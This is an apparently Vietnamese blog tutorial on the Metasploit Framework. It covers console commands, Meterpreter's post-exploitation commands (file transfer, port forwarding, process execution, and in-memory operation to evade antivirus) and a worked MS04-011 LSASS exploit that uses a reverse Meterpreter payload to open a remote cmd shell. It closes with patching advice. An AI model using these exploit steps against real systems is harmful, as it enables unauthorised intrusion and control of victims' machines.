Home » » Sử Dụng & Cách Khắc Phục: Metasploit Framework

Sử Dụng & Cách Khắc Phục: Metasploit Framework

Written By 1 on Thứ Hai, 1 tháng 2, 2010 | 07:17

I- Giới thiệu

Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại đây (http://spool.metasploit.com/releases/framework-3.2.exe)

Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script msfupdate.bat trong thư mục cài đặt

II- Các thành phần của Metasploit

1- Metasploit hỗ trợ nhiều giao diện với người dùng:

-console interface: dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

-Web interface: dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web

-Command line interface: dùng msfcli.bat

2- Enviroment

Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits

Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác

Bạn có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện

Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global Enviroment
vd:
msf> setg LPORT 80

msf> setg LHOST 172.16.8.2

III- Sử dụng Metasploit framework

1. Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác

show exploits: xem các module exploit mà framework có hỗ trợ

use exploit_name: chọn module exploit

info exploit_name: xem thông tin về module exploit

Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc qua script msfupdate.bat

2. Cấu hình module exploit đã chọn

show options: Xác định những options nào cần cấu hình

set : cấu hình cho những option của module đó

Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh show advanceds

3. Verify những options vừa cấu hình:

check: kiểm tra xem những option đã được set chính xác chưa.

4. Lựa chọn target: lựa chọn hệ diều hành nào để thực hiện

show targets: những target được cung cấp bởi module đó

set: xác định target nào

vd:
smf> use windows_ssl_pct

show targets

exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1

5. Lựa chọn payload

payload là đoạn code mà sẽ chạy trên hệ thống remote machine

show payloads: liệt kê ra những payload của module exploit hiện tại

info payload_name: xem thông tin chi tiết về payload đó

set PAYLOAD payload_name: xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload đó

show advanced: xem những advanced options của payload đó

6.Thực thi exploit

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác

IV- Giới thiệu payload meterpreter

Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object( DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus

Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computers

Fs: cho phép upload và download files từ các remote machine

Net: cho phép xem thông tin mạng của remote machine như IP, route table

Process:cho phép tạo các processes mới trên remote machine

Sys: cho phép xem thông tin hệ thống của remote machine

Sử dụng câu lệnh

use -m module1,module2,module3 [ -p path ] [ -d ]

Câu lệnh use dùng để load những module mở rộng của meterpreter như: Fs, Net, Process..

loadlib -f library [ -t target ] [ -lde ]

Câu lệnh cho phép load các thư viện của remote machines

read channel_id [length]

Lệnh read cho phép xem dữ liêu của remote machine trên channel đang kết nối

write channel_id

Lệnh write cho phép ghi dữ liệu lên remote machine

close channel_id

Đóng channel mà đã kết nối với remote computer

interact channel_id

Bắt đầu một phiên làm việc với channel vừa thiết lập với remote machine

initcrypt cipher [parameters]

Mã hoá dữ liệu được gửi giữa host và remote machine

Sử dụng module Fs: cho phép upload và download files từ các remote machine

cd directory

giống lệnh cd của commandline

getcwd

cho biết thư mục đang làm việc hiện tại

ls [filter_string]

liệt kê các thư mục và tập tin

upload src1 [src2 ...] dst

upload file

download src1 [src2 ...] dst

download file

Sử dụng module Net:

ipconfig

route

xem bảng định tuyến của remote machine

portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ]

cho phép tạo port forward giữa host và remote machine

Sử dụng module Process:

execute -f file [ -a args ] [ -Hc ]

câu lệnh execute cho phép bạn tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu

kill pid1 pid2 pid3

huỷ những processes đang chạy trên máy remote machine

ps

liệt kê những process của remote machine

Sử dụng module Sys:

getuid

cho biết username hiện tại của remote machine

sysinfo

cho biết thông tin về computername, OS

V- Ví dụ

Máy localhost có địa chỉ 192.168.1.1 sẽ tấn công máy remote có địa chỉ 192.168.1.2 thông qua lỗi Lsass_ms04_011. Đây là lỗi tràn stack trong dịch vụ LSA( Local Security Authority).Lsass.exe là một process của hệ thống Microsoft Windows, chịu trách nhiệm về chứng thực local security, quản lý Active Directory và các chính sách login. Lsass kiểm sóat việc chứng thực của cả client và server.

Msf>use Lsass_ms04_011

Msf>set PAYLOAD win32_reverse_meterpreter

Msf>set RHOST 192.168.1.2

Msf>set LHOST 192.168.1.1

Msf>exploit

Meterpreter> help

Meterpreter>use -m Process //add thêm tập lệnh của process

Meterpreter>help // xem các lệnh meterpreter hỗ trợ

Meterpreter>ps // list các process mà remote machine đang chạy

Meterpreter>kill // tắt các process mà remote machine đang chạy

Meterpreter> execute -f cmd –c // tấn công sử dụng comandline cmd của remote machine

execute: success, process id is 3516.

execute: allocated channel 1 for new process.

meterpreter> interact 1

interact: Switching to interactive console on 1...

interact: Started interactive channel 1.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS>echo Meterpreter interactive channel in action

echo Meterpreter interactive channel in action

Meterpreter interactive channel in action

C:\WINDOWS>ipconfig

Caught Ctrl-C, close interactive session? [y/N] y

meterpreter>

VI-Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả các hệ điều hành windows. Bạn nên sử dụng hotfix có number là 835732 để vá lỗi trên.

http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx

0 nhận xét:

Đăng nhận xét